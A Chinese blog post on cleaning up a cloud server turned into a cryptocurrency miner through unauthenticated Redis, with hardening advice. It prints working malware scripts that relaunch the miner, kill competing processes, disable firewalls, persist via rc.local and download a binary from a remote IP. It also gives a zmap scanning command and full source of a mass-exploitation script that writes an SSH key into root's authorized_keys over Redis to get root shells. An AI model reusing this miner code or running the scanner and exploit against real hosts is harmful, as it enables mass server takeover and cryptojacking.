收到阿里云短信,提示server被搞成“挖坑机”的肉鸡了。
一、排除过程
1. top c 命令发现如下进程CPU占用率100%(恢复快照后,第二次CPU占用率50%)
/usr/sbin/bashd -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x
2. kill掉自动重启,看来是中招了
3. 发现系统根目录文件/nohup.out,里面有做坏事的相关内容。按图索骥,找到了运行的脚本
4. 脚本一:/boot/efi/deamon.sh(备份脚本/boot/efi/deamon.sh.1)
#!/bin/bash #daemon.sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin while true; do server=`ps aux | grep bashd | grep -v grep` if [ ! "$server" ]; then \cp -rf /boot/grub/grub.tz /usr/sbin/bashd chmod +x /usr/sbin/bashd nohup bashd -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x & fi sleep 15 done
5. 脚本二:/boot/efi/killer.sh(备份脚本/boot/efi/killer.sh.1)
#!/bin/bash #killer.sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin while true; do ps axf -o "pid %cpu command" |grep -v bashd| awk '{if($2>=80.0) print $1}' | while read procid do kill -9 $procid done sleep 3 done
6. 网上看到如下脚本,感觉痕迹清理更好:
#!/bin/bash chmod 777 xiao chattr 777 haha /etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop echo 'nameserver 8.8.8.8'> /etc/resolv.conf grep "nohup ./haha >/dev/null 2>&1 &" /etc/rc.d/rc.local >/dev/null if [ $? -eq 0 ]; then chmod 777 xiao sleep 1 chattr +i haha else echo "nohup ./haha >/dev/null 2>&1 &" >> /etc/rc.d/rc.local chmod +x /etc/rc.d/rc.local chmod +x haha chmod 777 xiao chattr +i haha fi while true do ps aux | grep xiao | grep -v grep if [ $? -eq 0 ];then sleep 10 chmod 777 xiao chattr +i xiao nohup rm -rf index.html >/dev/null 2>&1 & rm -rf nohup.out else if [ -f xiao ];then chmod 777 xiao chattr +i xiao nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 & else wget http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 & if [ -f xiao ];then chmod 777 xiao chattr +i xiao nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 & else curl -O http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 & rm -rf nohup.out fi fi fi done
二、中招原因:
redis未授权,采用默认配置。Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
三、处理方法:
1. 稳妥起见,阿里云快照恢复,所以说快照还是有必要购买的(@马云 广告费直接支付宝转我就好)
2. redis漏洞修复
修改 redis.conf 文件,添加requirepass mypassword
cd /usr/local/redis ./redis-server ./redis.conf &
四、redis入侵完整的处理:
1.入侵特征:
1).Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
2).在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
3).在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥
2.修复建议:
1).禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址
2).以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
3).为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4).禁止外网访问 Redis
修改 redis.conf 文件,添加或修改
bind 127.0.0.1
使得 Redis 服务只在当前主机可用
3.扫描工具
#以Ubuntu为例 su # Requirements apt-get install redis-server expect zmap git clone https://github.com/qingxp9/yyfexploit cd yyfexploit/redis # 扫描6379端口 # 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉 zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt # Usage ./redis.sh ip.txt
最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户
像这样:
ssh -i id_rsa [email protected]
4.工具源代码
#!/bin/sh if [ $# -eq 1 ] then ip_list=$1 ##create id_rsa echo "****************************************Create id_rsa file" expect -c " spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\" expect { \"*passphrase): \" { exp_send \"\r\" exp_continue } \"*again: \" { exp_send \"\r\" } \"*y/n)? \" { exp_send \"n\r\" } } expect eof " echo "\n\n****************************************Attack Targets" touch noauth.txt runasroot.txt rootshell.txt haveauth.txt i=0 cat $ip_list | while read ip do i=`expr $i + 1`; #write id_rsa.pub to remote echo "*****${i}***connect to remote ${ip} redis " expect -c " set timeout 3 spawn redis-cli -h $ip config set dir /root/.ssh/ expect { \"OK\" { exit 0 } \"ERR Changing directory: Permission denied\" { exit 1 } timeout { exit 2 } \"(error) NOAUTH Authentication required\" { exit 3 } } " case $? in 0) echo "run redis as root" echo $ip >> noauth.txt echo $ip >> runasroot.txt ;; 1) echo "not run redis as root\n\n\n" echo $ip >> noauth.txt continue ;; 2) echo "connect timeout\n\n\n" continue ;; 3) echo "Have Auth\n\n\n" echo $ip >> haveauth.txt continue ;; esac (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt cat foo.txt | redis-cli -h $ip -x set 1 redis-cli -h $ip config set dir /root/.ssh/ redis-cli -h $ip config set dbfilename "authorized_keys" redis-cli save #login test echo "#try to login" expect -c " set timeout 5 spawn ssh -i id_rsa root@$ip echo \"yyf\" expect { \"*yes/no\" { send \"yes\n\"} \"*password\" { send \"\003\"; exit 1 } \"yyf\" { exit 0 } timeout { exit 2 } } exit 4 " exitcode=$? if [ $exitcode -eq 0 ] then echo "---------------${ip} is get root shell" echo $ip >> rootshell.txt fi echo "\n\n\n" done echo "##########Final Count##########" wc -l $ip_list echo "----------" wc -l noauth.txt wc -l runasroot.txt wc -l rootshell.txt echo "----------" wc -l haveauth.txt else echo "usage: ./redis.sh ip.txt" fi
参考:
http://www.cnblogs.com/liqing1009/p/5970764.html